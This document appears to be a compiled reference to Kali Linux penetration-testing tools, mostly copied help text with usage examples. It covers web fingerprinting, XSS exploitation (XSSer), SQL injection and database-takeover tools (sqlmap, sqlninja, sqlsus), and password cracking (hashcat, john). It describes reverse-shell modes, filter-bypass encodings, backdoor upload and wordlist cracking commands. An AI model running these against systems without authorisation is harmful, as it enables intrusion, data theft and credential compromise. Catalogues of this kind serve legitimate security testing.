<URLs> Enter URLs, filenames or nmap-format IP ranges. Use /dev/stdin to pipe HTML directly

--input-file=FILE -i Identify URLs found in FILE

--aggression -a

1 (Stealthy) - Makes one HTTP request per target. Also follows redirects.

2 (Unused) -

3 (Aggressive) - Can make a handful of HTTP requests per target. This triggers aggressive plugins for targets only when those plugins are identified with a level 1 request first.

4 (Heavy) - Makes a lot of HTTP requests per target. Aggressive tests from all plugins are used for all URLs.

--list-plugins -l List the plugins

--plugins -p Comma delimited set of selected plugins. Default is all. Each element can be a directory, file or plugin name and can optionally have a modifier, eg. + or - Examples: +/tmp/moo.rb,+/tmp/foo.rb title,md5,+./plugins-disabled/ ./plugins-disabled,-md5

--info-plugins -I Display information for all plugins. Optionally search with keywords in a comma delimited list.

--grep -g Search for a string. Reports in a plugin called Grep

--colour=[WHEN] --color=[WHEN] control whether colour is used. WHEN may be "never", "always", or "auto"

--log-verbose=FILE Log verbose output

--quiet, -q Do not display brief logging to STDOUT

--log-brief=FILE Log brief, one-line output

--log-xml=FILE Log XML format

--log-json=FILE Log JSON format

--log-sql=FILE Log SQL INSERT statements

--log-sql-create=FILE Create SQL database tables

--log-json-verbose=FILE Log JSON Verbose format

--log-magictree=FILE Log MagicTree XML format

--log-object=FILE Log Ruby object inspection format

--log-mongo-database=NAME Name of the MongoDB database

--log-mongo-collection=NAME Name of the MongoDB collection. Default: whatweb

--log-mongo-host=NAME MongoDB hostname or IP address. Default: 0.0.0.0

--log-mongo-username=NAME MongoDB username. Default: nil

--log-mongo-password=NAME MongoDB password. Default: nil

--log-errors=FILE Log errors

--no-errors Suppress error messages

--user-agent -U Identify as user-agent instead of WhatWeb/VERSION.

--user -u <user:password> HTTP basic authentication

--header -H Add an HTTP header. eg "Foo:Bar". Specifying a default header will replace it. Specifying an empty value, eg. "User-Agent:" will remove the header.
--max-threads -t Number of simultaneous threads. Default is 25.
--follow-redirect=WHEN Control when to follow redirects. WHEN may be "never", "http- only", "meta-only", "same-site", "same-domain" or "always"
--max-redirects=NUM Maximum number of contiguous redirects. Default: 10
--proxy <hostname[:port]> Set proxy hostname and port (default: 8080)
--proxy-user <username:password> Set proxy user and password
--open-timeout Time in seconds. Default: 15
--read-timeout Time in seconds. Default: 30
--wait=SECONDS Wait SECONDS between connections. This is useful when using a single thread.
--custom-plugin Define a custom plugin call Custom, Examples: ":text=>'powered by abc'" ":regexp=>/powered[ ]?by ab[0-9]/" ":ghdb=>'intitle:abc "powered by abc"'" ":md5=>'8666257030b94d3bdb46e05945f60b42'" "{:text=>'powered by abc'},{:regexp=>/abc [ ]?1/i}"
--dorks <plugin name> List google dorks for the selected plugin
--url-prefix Add a prefix to target URLs
--url-suffix Add a suffix to target URLs
--url-pattern Insert the targets into a URL. Requires --input-file, eg. www.example.com/%insert%/robots.txt
--help -h Display usage
--verbose -v Increase verbosity (recommended), use twice for debugging.
--debug Raise errors in plugins.
--version Display version information.

EXAMPLES
Passive: whatweb example.com
Passive (Verbose): whatweb -v example.com
Aggressive: whatweb -a 3 example.com
IP Ranges whatweb 192.168.1.0/24

BUGS Report bugs and feature requests to https://github.com/urbanadventurer/WhatWeb
AUTHOR WhatWeb was written by Andrew Horton aka urbanadventurer, and Brendan Coles.
HOMEPAGE http://www.morningstarsecurity.com/research/whatweb

xssr - http://xsser.sourceforge.net/
Cross Site “Scripter” (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications. It contains several options to try to bypass certain filters, and various special techniques of code injection.
xsser --gtk **Bring up a GUI**

xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g <get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]

Cross Site "Scripter" is an automatic -framework- to detect, exploit and
report XSS vulnerabilities in web-based applications.

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-s, --statistics show advanced statistics output results
-v, --verbose active verbose mode output results
--gtk launch XSSer GTK Interface (Wizard included!)

Special Features:
You can choose Vector(s) and Bypasser(s) to inject code with this
extra special features:

--imx=IMX create a false image with XSS code embedded
--fla=FLASH create a false .swf file with XSS code embedded

Select Target(s):

At least one of these options has to be specified to set the source to
get target(s) urls from. You need to choose to run XSSer:

-u URL, --url=URL   Enter target(s) to audit
-i READFILE   Read target urls from a file
-d DORK   Process search engine dork results as target urls
--De=DORK_ENGINE   Search engine to use for dorking (bing, altavista,
                    yahoo, baidu, yandex, youdao, webcrawler, google, etc.
                    See dork.py file to check for available engines)

Select type of HTTP/HTTPS Connection(s):
These options can be used to specify which parameter(s) we want to use
like payload to inject code.

-g GETDATA   Enter payload to audit using GET (ex: '/menu.php?q=')
-p POSTDATA   Enter payload to audit using POST (ex: 'foo=1&bar=')
-c CRAWLING   Number of urls to crawl on target(s): 1-99999
--Cw=CRAWLER_WIDTH Deeping level of crawler: 1-5
--Cl   Crawl only local target(s) urls (default TRUE)

Configure Request(s):
These options can be used to specify how to connect to target(s)
payload(s). You can choose multiple:

--cookie=COOKIE   Change your HTTP Cookie header
--drop-cookie   Ignore Set-Cookie header from response
--user-agent=AGENT Change your HTTP User-Agent header (default SPOOFED)
--referer=REFERER   Use another HTTP Referer header (default NONE)
--xforw   Set your HTTP X-Forwarded-For with random IP values
--xclient   Set your HTTP X-Client-IP with random IP values
--headers=HEADERS   Extra HTTP headers newline separated
--auth-type=ATYPE   HTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACRED   HTTP Authentication credentials (name:password)
--proxy=PROXY   Use proxy server (tor: http://localhost:8118)
--ignore-proxy   Ignore system default HTTP proxy
--timeout=TIMEOUT   Select your timeout (default 30)
--retries=RETRIES   Retries when the connection timeouts (default 1)
--threads=THREADS   Maximum number of concurrent HTTP requests (default 5)
--delay=DELAY   Delay in seconds between each HTTP request (default 0)
--tcp-nodelay   Use the TCP_NODELAY option
--follow-redirects XSSer will follow server redirection responses (302)
--follow-limit=FLI Set how many times XSSer will follow redirections
                    (default 50)

Checker Systems:
This options are usefull to know if your target(s) have some filters
against XSS attacks, to reduce 'false positive' results and to perform
more advanced tests:

--no-head   NOT verify the stability of the url (codes: 200|302)
                    with a HEAD pre-check request
--alive=ISALIVE   set limit of every how much errors XSSer must to
                    verify that target is alive
--hash   send an unique hash, without vectors, to pre-check if
                    target(s) repeats all content recieved
--heuristic   launch a heuristic testing to discover which
                    parameters are filtered on target(s) code: ;\/<>'"=
--checkaturl=ALT   check for a valid XSS response from target(s) at an
                    alternative url. 'blind XSS'
--checkmethod=ALTM check responses from target(s) using a different
                    connection type: GET or POST (default: GET)

```
  --checkatdata=ALD   check responses from target(s) using an alternative
                      payload (default: same than first injection)
  --reverse-check     establish a reverse connection from target(s) to XSSer
                      to certificate that is 100% vulnerable

*Select Vector(s)*:
  These options can be used to specify a XSS vector source code to
  inject in each payload. Important, if you don't want to try to inject
  a common XSS vector, used by default. Choose only one option:

  --payload=SCRIPT    OWN  - Insert your XSS construction -manually-
  --auto              AUTO - Insert XSSer 'reported' vectors from file
                      (HTML5 vectors included!)

*Select Bypasser(s)*:
  These options can be used to encode selected vector(s) to try to
  bypass possible anti-XSS filters on target(s) code and possible IPS
  rules, if the target use it. Also, can be combined with other
  techniques to provide encoding:

  --Str             Use method String.FromCharCode()
  --Une              Use Unescape() function
  --Mix             Mix String.FromCharCode() and Unescape()
  --Dec              Use Decimal encoding
  --Hex              Use Hexadecimal encoding
  --Hes              Use Hexadecimal encoding, with semicolons
  --Dwo              Encode vectors IP addresses in DWORD
  --Doo              Encode vectors IP addresses in Octal
  --Cem=CEM          Try -manually- different Character Encoding Mutations
                     (reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')

*Special Technique(s)*:
  These options can be used to try to inject code using different type
  of XSS techniques. You can choose multiple:

  --Coo              COO - Cross Site Scripting Cookie injection
  --Xsa              XSA - Cross Site Agent Scripting
  --Xsr              XSR - Cross Site Referer Scripting
  --Dcp              DCP - Data Control Protocol injections
  --Dom              DOM - Document Object Model injections
  --Ind              IND - HTTP Response Splitting Induced code
  --Anchor           ANC - Use Anchor Stealth payloader (DOM shadows!)
  --Phpids           PHP - Exploit PHPIDS bug (0.6.5) to bypass filters

*Select Final injection(s)*:
  These options can be used to specify the final code to inject in
  vulnerable target(s). Important, if you want to exploit on-the-wild
  your discovered vulnerabilities. Choose only one option:

  --Fp=FINALPAYLOAD   OWN    - Insert your final code to inject -manually-
  --Fr=FINALREMOTE    REMOTE - Insert your final code to inject -remotelly-
  --Doss              DOSs   - XSS Denial of service (server) injection
  --Dos              DOS    - XSS Denial of service (client) injection
  --B64              B64    - Base64 code encoding in META tag (rfc2397)

*Special Final injection(s)*:
  These options can be used to execute some 'special' injection(s) in
  vulnerable target(s). You can select multiple and combine with your
  final code (except with DCP code):

  --Onm              ONM - Use onMouseMove() event to inject code
```

```
   --Ifr              IFR - Use <iframe> source tag to inject code

  *Miscellaneous*:
    --silent           inhibit console output results
    --update            check for XSSer latest stable version
    --save             output all results directly to template (XSSlist.dat)
    --xml=FILEXML       output 'positives' to aXML file (--xml filename.xml)
    --short=SHORTURLS   display -final code- shortered (tinyurl, is.gd)
    --launch            launch a browser at the end with each XSS discovered
    --tweet            publish each XSS discovered into the 'Grey Swarm!'
    --tweet-tags=TT     add more tags to your XSS discovered publications
                      (default: #xss) - (ex: #xsser #vulnerability)
```

4. The Database Assessment menu

Main Menu

bbqsql - https://github.com/Neohapsis/bbqsql/

Blind SQL injection can be a pain to exploit. When the available tools work they work well, but when they don't you have to write something custom. This is time-consuming and tedious. BBQSQL can help you address those issues.

BBQSQL is a blind SQL injection framework written in Python. It is extremely useful when attacking tricky SQL injection vulnerabilities. BBQSQL is also a semi-automatic tool, allowing quite a bit of customization for those hard to trigger SQL injection findings. The tool is built to be database agnostic and is extremely versatile. It also has an intuitive UI to make setting up attacks much easier. Python gevent is also implemented, making BBQSQL extremely fast.

Similar to other SQL injection tools you provide certain request information.

Must provide the usual information:

- URL
- HTTP Method
- Headers
- Cookies
- Encoding methods
- Redirect behavior
- Files
- HTTP Auth
- Proxies

Then specify where the injection is going and what syntax we are injecting.

```
BBQSQL injection toolkit (bbqsql)
   Lead Development: Ben Toews(mastahyeti)
   Development: Scott Behrens(arbit)
   Menu modified from code for Social Engineering Toolkit (SET) by: David Kennedy (ReL1K)
   SET is located at: http://www.secmaniac.com(SET)
   Version: 1.0

 Select from the menu:
   1) Setup HTTP Parameters
   2) Setup BBQSQL Options
   3) Export Config
   4) Import Config
   5) Run Exploit
   6) Help, Credits, and About
  99) Exit the bbqsql injection toolkit
bbqsql>
```

hexorbase - https://code.google.com/p/hexorbase/
A GUI database application designed for administering and auditing multiple database servers simultaneously from a centralized location, it is capable of performing SQL queries and bruteforce attacks against common database servers (MySQL, SQLite, Microsoft SQL Server, Oracle, PostgreSQL). HexorBase allows packet routing through proxies or even metasploit pivoting antics to communicate with remotely inaccessible servers which are hidden within local subnets

jsql - see previous entry

mdb-sql - stuff for Access databases- there are a few tools out there for mdb-sql... open to verify which one it is http://mdbtools.sourceforge.net/
Also see this (doesn't help a lot) http://chousensha.github.io/blog/2014/09/17/kali-tools-catalog-vulnerability-analysis/

oscanner http://www.cqure.net/wp/tools/database/oscanner/
Oracle assessment framework developed in Java. It has a plugin-based architecture and comes with a couple of plugins that currently do:

Sid Enumeration
Passwords tests (common & dictionary)
Enumerate Oracle version
Enumerate account roles
Enumerate account privileges
Enumerate account hashes
Enumerate audit information
Enumerate password policies
Enumerate database links

The results are given in a graphical java tree.

```
Oracle Scanner 1.0.6 by patrik@cqure.net
---------------------------------------
OracleScanner -s <ip> -r <repfile> [options]
   -s  <servername>
   -f  <serverlist>
   -P  <portnr>
   -v  be verbose
```

oscanner Usage Example

Scan the target server (-s 192.168.1.15) on port 1040 (-P 1040):

```
root@kali:~# oscanner -s 192.168.1.15 -P 1040
Oracle Scanner 1.0.6 by patrik@cqure.net
------------------------------------------------
[-] Checking host 192.168.1.15
[x] Failed to enumerate sids from host
[-] Loading services/sids from service file
```

sidguesser - http://www.cqure.net/wp/tools/database/sidguesser/
Guesses sids/instances against an Oracle database according to a predefined dictionary file. The speed is slow (80-100 guesses per second) but it does the job.

sqldict - http://ntsecurity.nu/toolbox/sqldict/
Dictionary attack tool for SQL Server. GUI asks for: IP, dict file and account

SQL Lite Database

sqlmap - http://sqlmap.org/
automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features:

Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command
sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST
--cookie=COOKIE HTTP Cookie header value
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to this value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (0-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner

```
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
  General:
    These options can be used to set some general working parameters
    --batch             Never ask for user input, use the default behaviour
    --flush-session     Flush session files for current target
  Miscellaneous:
    --wizard            Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
 [*] shutting down at 15:52:48
```

sqlmap Usage Example

Attack the given URL (-u “http://192.168.1.250/?p=1&forumaction=search”) and extract the database names (–dbs):

```
root@kali:~# sqlmap -u "http://192.168.1.250/?p=1&forumaction=search" --dbs
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[*] starting at 13:11:04
```

sqlninja - http://sqlninja.sourceforge.net/

Fancy going from a SQL Injection on Microsoft SQL Server to a full GUI access on the DB? Take a few new SQL Injection tricks, add a couple of remote shots in the registry to disable Data Execution Prevention, mix with a little Perl that automatically generates a debug script, put all this in a shaker with a Metasploit wrapper, shake well and you have just one of the attack modules of sqlninja!

Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.

Its main goal is to provide a remote access on the vulnerable DB server, even in a very hostile environment. It should be used by penetration testers to help and automate the process of taking over a DB Server when a SQL Injection vulnerability has been discovered.

```
sqlninja – SQL server injection and takeover tool
root@kali:~# sqlninja -h
Unknown option: h
Usage: /usr/bin/sqlninja
    -m <mode> : Required. Available modes are:
        t/test - test whether the injection is working
        f/fingerprint - fingerprint user, xp_cmdshell and more
        b/bruteforce - bruteforce sa account
        e/escalation - add user to sysadmin server role
        x/resurrectxp - try to recreate xp_cmdshell
        u/upload - upload a .scr file
        s/dirshell - start a direct shell
        k/backscan - look for an open outbound port
        r/revshell - start a reverse shell
```

```
      d/dnstunnel - attempt a dns tunneled shell
      i/icmpshell - start a reverse ICMP shell
      c/sqlcmd - issue a 'blind' OS command
      m/metasploit - wrapper to Metasploit stagers
   -f <file> : configuration file (default: sqlninja.conf)
   -p <password> : sa password
   -w <wordlist> : wordlist to use in bruteforce mode (dictionary method
                only)
   -g : generate debug script and exit (only valid in upload mode)
   -v : verbose output
   -d <mode> : activate debug
      1 - print each injected command
      2 - print each raw HTTP request
      3 - print each raw HTTP response
      all - all of the above
   ...see sqlninja-howto.html for details
```

sqlninja Usage Example

Connect to the target in test mode (-m t) with the specified config file (-f /root/sqlninja.conf):

```
root@kali:~# sqlninja -m t -f /root/sqlninja.conf
Sqlninja rel. 0.2.6-r1
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
[+] Parsing /root/sqlninja.conf...
[+] Target is: 192.168.1.51:80
[+] Trying to inject a 'waitfor delay'....
```

sqlsus - http://sqlsus.sourceforge.net/

open source MySQL injection and takeover tool, written in perl.

Via a command line interface, you can retrieve the database(s) structure, inject your own SQL queries (even complex ones), download files from the web server, crawl the website for writable directories, upload and control a backdoor, clone the database(s), and much more…
Whenever relevant, sqlsus will mimic a MySQL console output.

sqlsus focuses on speed and efficiency, optimizing the available injection space, making the best use (I can think of) of MySQL functions.
It uses stacked subqueries and an powerful blind injection algorithm to maximize the data gathered per web server hit.
Using multi-threading on top of that, sqlsus is an extremely fast database dumper, be it for inband or blind injection.

If the privileges are high enough, sqlsus will be a great help for uploading a backdoor through the injection point, and takeover the web server.

It uses SQLite as a backend, for an easier use of what has been dumped, and integrates a lot of usual features (see below) such as cookie support, socks/http proxying, https.

```
sqlsus [options] [config file]
    Options:
       -h, --help                  brief help message
       -v, --version               version information
       -e, --execute <commands>    execute commands and exit
       -g, --genconf <filename>    generate configuration file
```

sqlsus Usage Example

Generate a configuration file for the scan (-g sqlsus.cfg):

```
root@kali:~# sqlsus -g sqlsus.cfg
          sqlsus version 0.7.2
  Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
[+] Configuration successfully saved to sqlsus.cfg
root@kali:~# nano sqlsus.cfg
```

```
root@kali:~# sqlsus sqlsus.cfg
          sqlsus version 0.7.2
  Copyright (c) 2008-2011 Jérémy Ruffet (sativouf)
[+] Session "192.168.1.25" created
sqlsus> start
```

tnscmd10g - A tool to prod the oracle tnslsnr process on port 1521/tcp.
http://www.red-database-security.com/scripts/tnscmd10g.pl.txt
tnscmd10g [command] -h hostname
    where 'command' is something like ping, version, status, etc.
    (default is ping)
    [-p port] - alternate TCP port to use (default is 1521)
    [--logfile logfile] - write raw packets to specified logfile
    [--indent] - indent & outdent on parens
    [--10G] - make it work against 10G
    [--rawcmd command] - build your own CONNECT_DATA string
    [--cmdsize bytes] - fake TNS command size (reveals packet leakage)
tnscmd10g Usage Example

Retrieve the version (version) from the target server (-h 192.168.1.205):
root@kali:~# tnscmd10g version -h 192.168.1.205
sending (CONNECT_DATA=(COMMAND=version)) to 192.168.1.205:1521
writing 90 bytes
reading
.M.....6.....-. .....(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=0)).7.....TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production..TNS for 32-bit Windows: Version 9.2.0.1.0 - Production..Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production..Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.1.0 - Production,,.....@

5. The Password Attacks menu

Main Menu

cewl - wordlist generator (from website contents) - http://www.digininja.org/projects/cewl.php
CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.

CeWL also has an associated command line app, FAB (Files Already Bagged) which uses the same meta data extraction techniques to create author/creator lists from already downloaded.
cewl [OPTION] ... URL
   --help, -h: show help
   --keep, -k: keep the downloaded file
   --depth x, -d x: depth to spider to, default 2
   --min_word_length, -m: minimum word length, default 3
   --offsite, -o: let the spider visit other sites
   --write, -w file: write the output to the file
   --ua, -u user-agent: useragent to send
   --no-words, -n: don't output the wordlist
   --meta, -a include meta data
   --meta_file file: output file for meta data
   --email, -e include email addresses
   --email_file file: output file for email addresses
   --meta-temp-dir directory: the temporary directory used by exiftool when parsing files, default /tmp
   --count, -c: show the count for each word found

   Authentication
   --auth_type: digest or basic
   --auth_user: authentication username
   --auth_pass: authentication password

Proxy Support
--proxy_host: proxy host
--proxy_port: proxy port, default 8080
--proxy_username: username for proxy, if required
--proxy_password: password for proxy, if required

--verbose, -v: verbose

URL: The site to spider.
fab – Files Already Bagged
root@kali:~# fab --help
xx

Usage: xx [OPTION] ... filename/list
-h, --help: show help
-v: verbose

filename/list: the file or list of files to check
cewl Usage Example

Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (http://docs.kali.org):
root@kali:~# cewl -d 2 -m 5 -w docswords.txt http://docs.kali.org
CeWL 5.0 Robin Wood (robin@digininja.org) (www.digininja.org)

root@kali:~# wc -l docswords.txt
4093 docswords.txt

crunch - http://sourceforge.net/projects/crunch-wordlist/
wordlist generator where you can specify a standard character set or a character set you specify. crunch can generate all possible combinations and permutations.

crunch generates wordlists in both combination and permutation ways
it can breakup output by number of lines or file size
now has resume support
pattern now supports number and symbols
pattern now supports upper and lower case characters separately
adds a status report when generating multiple files
new -l option for literal support of @,%^
new -d option to limit duplicate characters see man file for details
now has unicode support

Usage: crunch <min> <max> [options]
where min and max are numbers

Generate a dictionary file containing words with a minimum and maximum length of 6 (6 6) using the given characters (0123456789abcdef), saving the output to a file (-0 6chars.txt):
root@kali:~# crunch 6 6 0123456789abcdef -o 6chars.txt
Crunch will now generate the following amount of data: 117440512 bytes
112 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 16777216

hashcat - http://hashcat.net/hashcat/
Messes with dozens of hash types. Too long to paste here.
For manpage details see - https://hashcat.net/wiki/doku.php?id=hashcat
hashcat -m 0 -a 1 /root/hashes/hashes.txt /root/rockyou.txt
(to launch a combination attack against MD5 password hashes)

---- or
hashcat -m 0 -a 0 /root/hashes/hashes.txt /root/rockyou.txt
(a straight through attack is super fast on simple passwords)
The hashes are shown – with the plain text password given next to it.

The Rockyou database has several million passwords, but if it's not in there, then it won't be cracked.
The 2 major cracking dictionaries are Rockyou, and CrackStation.
Rockyou contains 14 million unique passwords.
CrackStation. For MD5 and SHA1 hashes, there is a 190GB, 15-billion-entry lookup table, and for other hashes, they offer a 19GB 1.5-billion-entry lookup table.
Download CrackStation by Torrent:
https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

john - http://www.openwall.com/john/
several cracking modes in one program and is fully configurable for your particular needs (you can even define a custom cracking mode using the built-in compiler supporting a subset of C). Also, John is available for several different platforms which enables you to use the same cracker everywhere (you can even continue a cracking session which you started on another platform).

Out of the box, John supports (and autodetects) the following Unix crypt(3) hash types: traditional DES-based, "bigcrypt", BSDI extended DES-based, FreeBSD MD5-based (also used on Linux and in Cisco IOS), and OpenBSD Blowfish-based (now also used on some Linux distributions and supported by recent versions of Solaris). Also supported out of the box are Kerberos/AFS and Windows LM (DES-based) hashes, as well as DES-based tripcodes.

When running on Linux distributions with glibc 2.7+, John 1.7.6+ additionally supports (and autodetects) SHA-crypt hashes (which are actually used by recent versions of Fedora and Ubuntu), with optional OpenMP parallelization (requires GCC 4.2+, needs to be explicitly enabled at compile-time by uncommenting the proper OMPFLAGS line near the beginning of the Makefile).

Similarly, when running on recent versions of Solaris, John 1.7.6+ supports and autodetects SHA-crypt and SunMD5 hashes, also with optional OpenMP parallelization (requires GCC 4.2+ or recent Sun Studio, needs to be explicitly enabled at compile-time by uncommenting the proper OMPFLAGS line near the beginning of the Makefile and at runtime by setting the OMP_NUM_THREADS environment variable to the desired number of threads).

John the Ripper Pro adds support for Windows NTLM (MD4-based) and Mac OS X 10.4+ salted SHA-1 hashes.

"Community enhanced" -jumbo versions add support for many more password hash types, including Windows NTLM (MD4-based), Mac OS X 10.4-10.6 salted SHA-1 hashes, Mac OS X 10.7 salted SHA-512 hashes, raw MD5 and SHA-1, arbitrary MD5-based "web application" password hash types, hashes used by SQL database servers (MySQL, MS SQL, Oracle) and by some LDAP servers, several hash types used on OpenVMS, password hashes of the Eggdrop IRC bot, and lots of other hash types, as well as many non-hashes such as OpenSSH private keys, S/Key skeykeys files, Kerberos TGTs, PDF files, ZIP (classic PKZIP and WinZip/AES) and RAR archives.

Unlike older crackers, John normally does not use a crypt(3)-style routine. Instead, it has its own highly optimized modules for different hash types and processor architectures. Some of the algorithms used, such as bitslice DES, couldn't have been implemented within the crypt(3) API; they require a more powerful interface such as the one used in John. Additionally, there are assembly language routines for several processor architectures, most importantly for x86-64 and x86 with SSE2.

Emails users who have had their passwords cracked
root@kali:~# mailer
Usage: /usr/sbin/mailer PASSWORD-FILE
john – John the Ripper password cracker
root@kali:~# john
John the Ripper password cracker, ver: 1.7.9-jumbo-7_omp [linux-x86-sse2]
Copyright (c) 1996-2012 by Solar Designer and others
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]

```
--config=FILE             use FILE instead of john.conf or john.ini
--single[=SECTION]        "single crack" mode
--wordlist[=FILE] --stdin wordlist mode, read words from FILE or stdin
                  --pipe  like --stdin, but bulk reads, and allows rules
--loopback[=FILE]         like --wordlist, but fetch words from a .pot file
--dupe-suppression        suppress all dupes in wordlist (and force preload)
--encoding=NAME           input data is non-ascii (eg. UTF-8, ISO-8859-1).
                      For a full list of NAME use --list=encodings
--rules[=SECTION]         enable word mangling rules for wordlist modes
--incremental[=MODE]      "incremental" mode [using section MODE]
--markov[=OPTIONS]        "Markov" mode (see doc/MARKOV)
--external=MODE           external mode or word filter
--stdout[=LENGTH]         just output candidate passwords [cut at LENGTH]
--restore[=NAME]          restore an interrupted session [called NAME]
--session=NAME            give a new session the NAME
--status[=NAME]           print status of a session [called NAME]
--make-charset=FILE       make a charset file. It will be overwritten
--show[=LEFT]             show cracked passwords [if =LEFT, then uncracked]
--test[=TIME]             run tests and benchmarks for TIME seconds each
--users=[-]LOGIN|UID[,..] [do not] load this (these) user(s) only
--groups=[-]GID[,..]      load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..]    load users with[out] this (these) shell(s) only
--salts=[-]COUNT[:MAX]    load salts with[out] COUNT [to MAX] hashes
--pot=NAME                pot file to use
--format=NAME             force hash type NAME: afs bf bfegg bsdi crc32 crypt
                      des django dmd5 dominosec dragonfly3-32 dragonfly3-64
                      dragonfly4-32 dragonfly4-64 drupal7 dummy dynamic_n
                      epi episerver gost hdaa hmac-md5 hmac-sha1
                      hmac-sha224 hmac-sha256 hmac-sha384 hmac-sha512
                      hmailserver ipb2 keepass keychain krb4 krb5 lm lotus5
                      md4-gen md5 md5ns mediawiki mscash mscash2 mschapv2
                      mskrb5 mssql mssql05 mysql mysql-sha1 nethalflm netlm
                      netlmv2 netntlm netntlmv2 nsldap nt nt2 odf office
                      oracle oracle11 osc pdf phpass phps pix-md5 pkzip po
                      pwsafe racf rar raw-md4 raw-md5 raw-md5u raw-sha
                      raw-sha1 raw-sha1-linkedin raw-sha1-ng raw-sha224
                      raw-sha256 raw-sha384 raw-sha512 salted-sha1 sapb
                      sapg sha1-gen sha256crypt sha512crypt sip ssh
                      sybasease trip vnc wbb3 wpapsk xsha xsha512 zip
--list=WHAT               list capabilities, see --list=help or doc/OPTIONS
--save-memory=LEVEL       enable memory saving, at LEVEL 1..3
--mem-file-size=SIZE      size threshold for wordlist preload (default 5 MB)
--nolog                   disables creation and writing to john.log file
--crack-status            emit a status line whenever a password is cracked
--max-run-time=N          gracefully exit after this many seconds
--regen-lost-salts=N      regenerate lost salts (see doc/OPTIONS)
--plugin=NAME[,..]        load this (these) dynamic plugin(s)
unafs – Script to warn users about their weak passwords
root@kali:~# unafs
Usage: unafs DATABASE-FILE CELL-NAME
unshadow – Combines passwd and shadow files
root@kali:~# unshadow
Usage: unshadow PASSWORD-FILE SHADOW-FILE
unique – Removes duplicates from a wordlist
root@kali:~# unique
Usage: unique [-v] [-inp=fname] [-cut=len] [-mem=num] OUTPUT-FILE [-ex_file=FNAME2] [-
ex_file_only=FNAME2]

      reads from stdin 'normally', but can be overridden by optional -inp=
      If -ex_file=XX is used, then data from file XX is also used to
      unique the data, but nothing is ever written to XX. Thus, any data in
```

XX, will NOT output into OUTPUT-FILE (for making iterative dictionaries)
-ex_file_only=XX assumes the file is 'unique', and only checks against XX
